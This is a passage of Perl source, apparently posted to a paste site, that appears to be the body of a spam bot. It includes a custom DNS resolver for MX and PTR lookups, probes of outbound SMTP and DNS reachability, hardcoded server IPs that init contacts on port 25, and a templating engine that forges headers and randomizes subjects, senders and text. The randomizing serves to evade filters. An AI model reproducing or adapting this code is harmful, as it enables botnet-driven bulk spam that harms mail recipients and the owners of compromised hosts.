  977. #
  978. next;
  979. }
  980. unless ($writers->add($handle))
  981. {
  982. #
  983. #
  984. $destroy->($readers, $handle);
  985. #
  986. next;
  987. }
  988. #
  989. $readers->remove($handle);
  990. }
  991. }
  992. else
  993. {
  994. #
  995. #
  996. $destroy->($readers, $handle);
  997. #
  998. next;
  999. }
  1000. }
  1001. elsif ($! == $E_WOULDBLOCK)
  1002. {
  1003. #
  1004. #
  1005. next;
  1006. }
  1007. else
  1008. {
  1009. #
  1010. #
  1011. $destroy->($readers, $handle);
  1012. #
  1013. next;
  1014. }
  1015. }
  1016. }
  1017. }
  1018. sub nsunpack
  1019. {
  1020. my ($packet, $offset) = @_;
  1021. my ($length, $size, $name, $next) = (length $$packet, 0, "", "");
  1022. while (1)
  1023. {
  1024. return if $length < ($offset + 1);
  1025. $size = unpack ("\@$offset C", $$packet);
  1026. if ($size == 0)
  1027. {
  1028. $offset ++;
  1029. last;
  1030. }
  1031. elsif (($size & 192) == 192)
  1032. {
  1033. return if $length < ($offset + 2);
  1034. $next = unpack ("\@$offset n", $$packet);
  1035. $next &= 16383;
  1036. ($next) = &nsunpack($packet, $next);
  1037. return if !defined $next;
  1038. $name .= $next;
  1039. $offset += 2;
  1040. last;
  1041. }
  1042. else
  1043. {
  1044. $offset ++;
  1045. return if $length < ($offset + $size);
  1046. $next = substr ($$packet, $offset, $size);
  1047. $name .= "$next.";
  1048. $offset += $size;
  1049. }
  1050. }
  1051. $name =~ s/\.$//;
  1052. return if !length $name;
  1053. return ($name, $offset);
  1054. }
  1055. sub nsrecord
  1056. {
  1057. my ($packet, $offset) = @_;
  1058. my ($length, $name) = (length $$packet, "");
  1059. ($name, $offset) = &nsunpack($packet, $offset);
  1060. return if !defined $name || $length < ($offset + 10);
  1061. my ($rtype, $rclass, $rttl, $rlength) = unpack ("\@$offset n2Nn", $$packet);
  1062. $offset += 10;
  1063. return if $length < ($offset + $rlength);
  1064. return ($name, $offset, $rtype, $rclass, $rttl, $rlength);
  1065. }
  1066. sub nsparser
  1067. {
  1068. my ($packet, $offset, $sequence, $type) = @_;
  1069. my ($length, $name) = (length $$packet, "");
  1070. return (1, "Broken header") if $length < 12;
  1071. @_ = unpack ("nC2n4", $$packet);
  1072. my $header =
  1073. {
  1074. id      => $_[0],
  1075. qr      => ($_[1] >> 7) & 1,
  1076. opcode  => ($_[1] >> 3) & 15,
  1077. aa      => ($_[1] >> 2) & 1,
  1078. tc      => ($_[1] >> 1) & 1,
  1079. rd      => $_[1] & 1,
  1080. ra      => ($_[2] >> 7) & 1,
  1081. z       => ($_[2] >> 4) & 6,
  1082. rcode   => $_[2] & 15,
  1083. qdcount => $_[3],
  1084. ancount => $_[4],
  1085. nscount => $_[5],
  1086. arcount => $_[6]
  1087. };
  1088. return (1, "Synchronization error") if $header->{id} != $sequence;
  1089. return (1, "Recursion disabled") if !$header->{ra};
  1090. return (2, "Query format error") if $header->{rcode} == 1;
  1091. return (2, "Server failure") if $header->{rcode} == 2;
  1092. return (2, "Non-existent domain") if $header->{rcode} == 3;
  1093. return (2, "Empty answer section") if !$header->{ancount};
  1094. #
  1095. return (1, "Broken packet") if $length < $offset;
  1096. my ($answer, $rtype, $rclass, $rttl, $rlength) = ({}, 0, 0, 0, 0);
  1097. while ($header->{ancount})
  1098. {
  1099. $header->{ancount} --;
  1100. ($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
  1101. last if !defined $name;
  1102. if ($type != $rtype)
  1103. {
  1104. $offset += $rlength;
  1105. next;
  1106. }
  1107. if ($type == 1)
  1108. {
  1109. $name = substr ($$packet, $offset, 4);
  1110. last if !defined $name || 4 > length $name;
  1111. $offset += $rlength;
  1112. $name = inet_ntoa($name);
  1113. $answer->{$name} = 1;
  1114. }
  1115. elsif ($type == 12)
  1116. {
  1117. ($name, $offset) = &nsunpack($packet, $offset);
  1118. last if !defined $name;
  1119. $answer->{$name} = 1;
  1120. }
  1121. elsif ($type == 15)
  1122. {
  1123. $sequence = substr ($$packet, $offset, 2);
  1124. last if !defined $sequence || 2 > length $sequence;
  1125. ($name, $offset) = &nsunpack($packet, ($offset + 2));
  1126. last if !defined $name;
  1127. $answer->{$name} = unpack ("n", $sequence);
  1128. }
  1129. }
  1130. return (2, "No resourse records") if !scalar keys %$answer;
  1131. my $result = (sort {$answer->{$a} <=> $answer->{$b}} keys %$answer)[0];
  1132. if ($type == 15 && $header->{arcount})
  1133. {
  1134. while ($header->{nscount})
  1135. {
  1136. $header->{nscount} --;
  1137. ($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
  1138. last if !defined $name;
  1139. $offset += $rlength;
  1140. }
  1141. while ($header->{arcount})
  1142. {
  1143. $header->{arcount} --;
  1144. ($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
  1145. last if !defined $name;
  1146. if ($rtype == 1 && exists $answer->{$name})
  1147. {
  1148. $name = substr ($$packet, $offset, 4);
  1149. last if !defined $name || 4 > length $name;
  1150. $result = inet_ntoa($name);
  1151. last;
  1152. }
  1153. $offset += $rlength;
  1154. }
  1155. }
  1156. return (0, $result);
  1157. }
  1158. sub nsptr
  1159. {
  1160. my ($packaddr, $timeout, $query) = @_; my $type = 12;
  1161. return if !defined $query || $query !~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;
  1162. return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);
  1163. $query = "$4.$3.$2.$1.in-addr.arpa";
  1164. my $packid = int rand 65536; my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);
  1165. $packet .= pack ("C", length $_) . $_ for (split (/\./, lc $query));
  1166. $packet .= pack ("Cn2", 0, $type, 1);
  1167. my $offset = length $packet;
  1168. my ($socket, $select, $buffer, $resp, $text, $size);
  1169. if ($test->{udp53}[0] == 1)
  1170. {
  1171. $socket = IO::Socket::INET->new(Proto=>"udp");
  1172. return unless $socket;
  1173. $select = new IO::Select $socket;
  1174. if ($select->can_write($timeout))
  1175. {
  1176. unless ($socket->send($packet, 0, $packaddr))
  1177. {
  1178. close $socket;
  1179. return;
  1180. }
  1181. }
  1182. else
  1183. {
  1184. close $socket;
  1185. return;
  1186. }
  1187. if ($select->can_read($timeout))
  1188. {
  1189. $socket->recv($buffer, 512);
  1190. }
  1191. else
  1192. {
  1193. close $socket;
  1194. return;
  1195. }
  1196. close $socket;
  1197. return if !defined $buffer || !length $buffer;
  1198. }
  1199. else
  1200. {
  1201. $socket = IO::Socket::INET->new(Proto=>"tcp", Type=>SOCK_STREAM);
  1202. return unless $socket;
  1203. $select = new IO::Select $socket;
  1204. if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
  1205. unless ($socket->connect($packaddr))
  1206. {
  1207. if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
  1208. {
  1209. close $socket;
  1210. return;
  1211. }
  1212. unless ($select->can_write($timeout))
  1213. {
  1214. close $socket;
  1215. return;
  1216. }
  1217. unless ($socket->connected)
  1218. {
  1219. close $socket;
  1220. return;
  1221. }
  1222. }
  1223. $socket->blocking(1);
  1224. $packet = pack ("n", length $packet) . $packet;
  1225. if ($select->can_write($timeout))
  1226. {
  1227. unless ($socket->send($packet))
  1228. {
  1229. close $socket;
  1230. return;
  1231. }
  1232. }
  1233. else
  1234. {
  1235. close $socket;
  1236. return;
  1237. }
  1238. if ($select->can_read($timeout))
  1239. {
  1240. $buffer = ""; $text = 2;
  1241. while ((length $buffer) < $text)
  1242. {
  1243. $size = $text - length $buffer; $resp = "";
  1244. unless ($socket->recv($resp, $size))
  1245. {
  1246. last if !length $resp;
  1247. }
  1248. last if !length $resp;
  1249. $buffer .= $resp;
  1250. }
  1251. if (!length $buffer)
  1252. {
  1253. close $socket;
  1254. return;
  1255. }
  1256. unless ($text = unpack ("n", $buffer))
  1257. {
  1258. close $socket;
  1259. return;
  1260. }
  1261. unless ($select->can_read($timeout))
  1262. {
  1263. close $socket;
  1264. return;
  1265. }
  1266. $buffer = "";
  1267. while ((length $buffer) < $text)
  1268. {
  1269. $size = $text - length $buffer; $resp = "";
  1270. unless ($socket->recv($resp, $size))
  1271. {
  1272. last if !length $resp;
  1273. }
  1274. last if !length $resp;
  1275. $buffer .= $resp;
  1276. }
  1277. unless ($text == length $buffer)
  1278. {
  1279. close $socket;
  1280. return;
  1281. }
  1282. }
  1283. else
  1284. {
  1285. close $socket;
  1286. return;
  1287. }
  1288. close $socket;
  1289. return if !defined $buffer || !length $buffer;
  1290. }
  1291. ($resp, $text) = &nsparser(\$buffer, $offset, $packid, $type);
  1292. return !$resp ? $text : undef;
  1293. }
  1294. sub mail
  1295. {
  1296. my $line = shift;
  1297. return if !defined $$line || $$line !~ /^[^\@]+\@[^\@]+\.[^\@]+$/;
  1298. my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s\|<]*([^\s|<]+\@[^>\|\s]+)>*(.*)$/;
  1299. return if !$mail;
  1300. $info =~ s/.*?\|[\s\|]*(.+?)[\s\|]*$/$1/ if length $info;
  1301. return (\$mail, \$name, \$info); }
  1302. sub init {
  1303. &main('194.54.81.163', 25, '/', '194.54.81.162');
  1304. &main('194.54.81.164', 25, '/', '194.54.81.162'); }
  1305. sub data {
  1306. my ($to, $from, $b) = @_;
  1307. my $time = time;
  1308. my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);
  1309. my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;
  1310. my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};
  1311. my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};
  1312. my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];
  1313. my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }
  1314. $date =
  1315. {
  1316. DATE    => $date,
  1317. WWWW    => $wday,
  1318. WWW     => $1,
  1319. DD      => sprintf ("%02d", $3),
  1320. D       => $3,
  1321. MMMM    => $tmon,
  1322. MMM     => $2,
  1323. MM      => sprintf ("%02d", $nmon),
  1324. M       => $nmon,
  1325. YYYY    => $7,
  1326. YY      => substr ($7, -2),
  1327. Z       => $zone,
  1328. TT      => $ampm,
  1329. tt      => lc $ampm,
  1330. HH      => $4,
  1331. H       => int $4,
  1332. hh      => sprintf ("%02d", $hour),
  1333. h       => $hour,
  1334. mm      => $5,
  1335. m       => int $5,
  1336. ss      => $6,
  1337. s       => int $6
  1338. };
  1339. my ($mail, $name) = &mail(\$from);
  1340. my ($user, $host) = split (/\@/, $$mail);
  1341. $from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1342. my $replyto = $from;
  1343. if ($b->{from}[0] ne $b->{replyto}[0])
  1344. {
  1345. ($mail, $name) = &mail(\@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);
  1346. ($user, $host) = split (/\@/, $$mail);
  1347. $replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1348. }
  1349. if ($b->{method} == 0)
  1350. {
  1351. #
  1352. @_ = ();
  1353. foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }
  1354. ($user, $host) = split (/\@/, $$mail);
  1355. $to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1356. }
  1357. else
  1358. {
  1359. #
  1360. ($mail, $name) = &mail(\$to->[0]);
  1361. ($user, $host) = split (/\@/, $$mail);
  1362. $to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1363. }
  1364. my $head =
  1365. {
  1366. HELO        => $b->{helo},
  1367. TYPE        => $b->{type} ? "html" : "plain",
  1368. SUBJECT     => @{$b->{subject}}[int rand scalar @{$b->{subject}}],
  1369. CHARSET     => $b->{charset},
  1370. ENCODING    => $b->{charset} eq "windows-1251" ? "8bit" : "7bit",
  1371. NPRIORITY   => (5 - $b->{priority} * $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),
  1372. TPRIORITY   => ["Low", "Normal", "High"]->[$b->{priority}],
  1373. MESSAGEID   => sprintf ("%08x\.%04x%04x", int ($time * 0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)
  1374. };
  1375. my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};
  1376. $letter =~ s/\%$_\%/$head->{$_}/g foreach (keys %$head);
  1377. $letter =~ s/\%$_\%/$date->{$_}/g foreach (keys %$date);
  1378. $letter =~ s/\%FROM$_\%/$from->{$_}/g foreach (keys %$from);
  1379. $letter =~ s/\%REPLYTO$_\%/$replyto->{$_}/g foreach (keys %$replyto);
  1380. $letter =~ s/\%TO$_\%/$to->{$_}/g foreach (keys %$to);
  1381. &tag(\$letter);
  1382. if (!length $b->{letter})
  1383. {
  1384. $letter =~ s/\x0D//gm;
  1385. $letter =~ s/\x0A/\x0D\x0A/gm;
  1386. }
  1387. return $letter;
  1388. }
  1389. #
  1390. sub quoted ($)
  1391. {
  1392. my $line = shift;
  1393. $line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?\@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;
  1394. $line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;
  1395. my $lines = "";
  1396. $lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;
  1397. $lines .= $line;
  1398. return $lines;
  1399. }
  1400. #
  1401. sub tag
  1402. {
  1403. my $line = shift;
  1404. my $save = [];
  1405. $$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;
  1406. $$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;
  1407. $$line =~ s/\%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;
  1408. $$line =~ s/\[quot\](.*?)\[\/quot\]/&quoted($1)/egs;
  1409. }
  1410. #
  1411. sub tagrandom
  1412. {
  1413. my ($line, $spec, $cell, $save) = @_;
  1414. if (defined $line && length $line)
  1415. {
  1416. if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)
  1417. {
  1418. $spec = $2 > 64 ? 64 : $2;
  1419. $spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;
  1420. }
  1421. else
  1422. {
  1423. $spec = length $line;
  1424. $spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);
  1425. }
  1426. $line = [split (//, $line)];
  1427. $line = join ('', @$line[map {rand @$line}(1..$spec)]);
  1428. }
  1429. $line = defined $line ? $line : "";
  1430. $$save->[$cell] = $line if defined $cell && $cell < 64;
  1431. return $line;
  1432. }
  1433. #
  1434. sub tagstring
  1435. {
  1436. my ($line, $cell, $save) = @_;
  1437. if (defined $line && length $line)
  1438. {
  1439. $line = [split (/\|/, $line)];
  1440. $line = $line->[int rand scalar @$line];
  1441. }
  1442. $line = defined $line ? $line : "";
  1443. $$save->[$cell] = $line if defined $cell && $cell < 64;
  1444. return $line;
  1445. }
  1446. sub test
  1447. {
  1448. while (1)
  1449. {
  1450. my $readers = IO::Select->new() or last;
  1451. my $writers = IO::Select->new() or last;
  1452. my $session = {};
  1453. foreach my $result (keys %$test)
  1454. {
  1455. while (1 < scalar @{$test->{$result}})
  1456. {
  1457. my $host = pop @{$test->{$result}};
  1458. my $addr = gethostbyname $host;
  1459. next unless $addr;
  1460. my ($protocol, $port);
  1461. if ($result eq "ip")
  1462. {
  1463. ($protocol, $port) = ("tcp", 80);
  1464. }
  1465. else
  1466. {
  1467. ($protocol, $port) = $result =~ /^(tcp|udp)(\d+)$/;
  1468. }
  1469. $addr = sockaddr_in($port, $addr);
  1470. my $socket = $protocol eq "tcp" ? IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM) : IO::Socket::INET->new(Proto => "udp");
  1471. next unless $socket;
  1472. if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
  1473. if ($protocol eq "tcp")
  1474. {
  1475. unless ($socket->connect($addr))
  1476. {
  1477. if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
  1478. {
  1479. close $socket;
  1480. next;
  1481. }
  1482. }
  1483. }
  1484. $writers->add($socket);
  1485. $session->{$socket} = {status => $protocol eq "tcp" ? "cn" : "wr", buffer => "", timeout => 5, result => $result, addr => $addr};
  1486. if ($port == 53)
  1487. {
  1488. $session->{$socket}{buffer} .= pack ("nSn4", int rand 65535, 1, 1, 0, 0, 0);
  1489. $session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $host));
  1490. $session->{$socket}{buffer} .= pack ("Cn2", 0, 1, 1);
  1491. $session->{$socket}{buffer} = join ("", pack ("n", length $session->{$socket}{buffer}), $session->{$socket}{buffer}) if $protocol eq "tcp";
  1492. }
  1493. elsif ($port == 80)
  1494. {
  1495. $session->{$socket}{buffer} = join ("\x0D\x0A", "GET / HTTP/1.1", "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Host: $host", "Connection: close", "Cache-Control: no-cache", "\x0D\x0A");
  1496. }
  1497. }
  1498. }
  1499. $session->{$_}{timeout} += time foreach (keys %$session);
  1500. while ($readers->count() || $writers->count())
  1501. {
  1502. my $time = time;
  1503. my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
  1504. foreach my $handle (@$writable)
  1505. {
  1506. if ($session->{$handle}{status} eq "cn")
  1507. {
  1508. if ($handle->connected)
  1509. {
  1510. if ($session->{$handle}{result} eq "tcp25")
  1511. {
  1512. $session->{$handle}{status} = "rd";
  1513. $readers->add($handle);
  1514. $writers->remove($handle);
  1515. }
  1516. else
  1517. {
  1518. $session->{$handle}{status} = "wr";
  1519. }
  1520. }
  1521. else
  1522. {
  1523. $session->{$handle}{timeout} = 0;
  1524. }
  1525. }
  1526. else
  1527. {
  1528. my $result;
  1529. if ($session->{$handle}{result} eq "udp53")
  1530. {
  1531. $result = $handle->send($session->{$handle}{buffer}, 0, $session->{$handle}{addr});
  1532. }
  1533. elsif ($session->{$handle}{result} eq "tcp53")
  1534. {
  1535. $result = $handle->send($session->{$handle}{buffer});
  1536. }
  1537. else
  1538. {
  1539. $result = syswrite ($handle, $session->{$handle}{buffer});
  1540. }
  1541. if (defined $result && $result > 0)
  1542. {
  1543. substr ($session->{$handle}{buffer}, 0, $result) = "";
  1544. if (length $session->{$handle}{buffer} < 1)
  1545. {
  1546. $session->{$handle}{status} = "rd";
  1547. $readers->add($handle);
  1548. $writers->remove($handle);
  1549. }
  1550. }
  1551. elsif ($! == $E_WOULDBLOCK)
  1552. {
  1553. next;
  1554. }
  1555. else
  1556. {
  1557. $session->{$handle}{timeout} = 0;
  1558. }
  1559. }
  1560. }
  1561. my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
  1562. foreach my $handle (@$readable)
  1563. {
  1564. my $result;
  1565. if ($session->{$handle}{result} eq "udp53")
  1566. {
  1567. $result = $handle->recv($session->{$handle}{buffer}, 512);
  1568. $result = length $session->{$handle}{buffer} if defined $result;
  1569. }
  1570. elsif ($session->{$handle}{result} eq "tcp53")
  1571. {
  1572. $result = $handle->recv($session->{$handle}{buffer}, 2);
  1573. $result = length $session->{$handle}{buffer} if defined $result;
  1574. }
  1575. else
  1576. {
  1577. $result = sysread ($handle, $session->{$handle}{buffer}, 8192, length $session->{$handle}{buffer});
  1578. }
  1579. if (defined $result)
  1580. {
  1581. if ($session->{$handle}{result} eq "ip")
  1582. {
  1583. if ($test->{$session->{$handle}{result}}[0] eq "0.0.0.0")
  1584. {
  1585. if ($session->{$handle}{buffer} =~ /(\d+\.\d+\.\d+\.\d+)/)
  1586. {
  1587. $test->{$session->{$handle}{result}}[0] = $1;
  1588. $session->{$handle}{timeout} = 0;
  1589. }
  1590. else
  1591. {
  1592. next;
  1593. }
  1594. }
  1595. else
  1596. {
  1597. $session->{$handle}{timeout} = 0;
  1598. }
  1599. }
  1600. else
  1601. {
  1602. $test->{$session->{$handle}{result}}[0] = 1 if $result > 0;
  1603. $session->{$handle}{timeout} = 0;
  1604. }
  1605. }
  1606. elsif ($! == $E_WOULDBLOCK)
  1607. {
  1608. next;
  1609. }
  1610. else
  1611. {
  1612. $session->{$handle}{timeout} = 0;
  1613. }
  1614. }
  1615. foreach my $handle ($writers->handles, $readers->handles)
  1616. {
  1617. if ($time >= $session->{$handle}{timeout})
  1618. {
  1619. $readers->remove($handle) if $readers->exists($handle);
  1620. $writers->remove($handle) if $writers->exists($handle);
  1621. delete $session->{$handle};
  1622. close $handle;
  1623. }
  1624. }
  1625. }
  1626. last;
  1627. }
  1628. }
Add Comment
Please, Sign In to add comment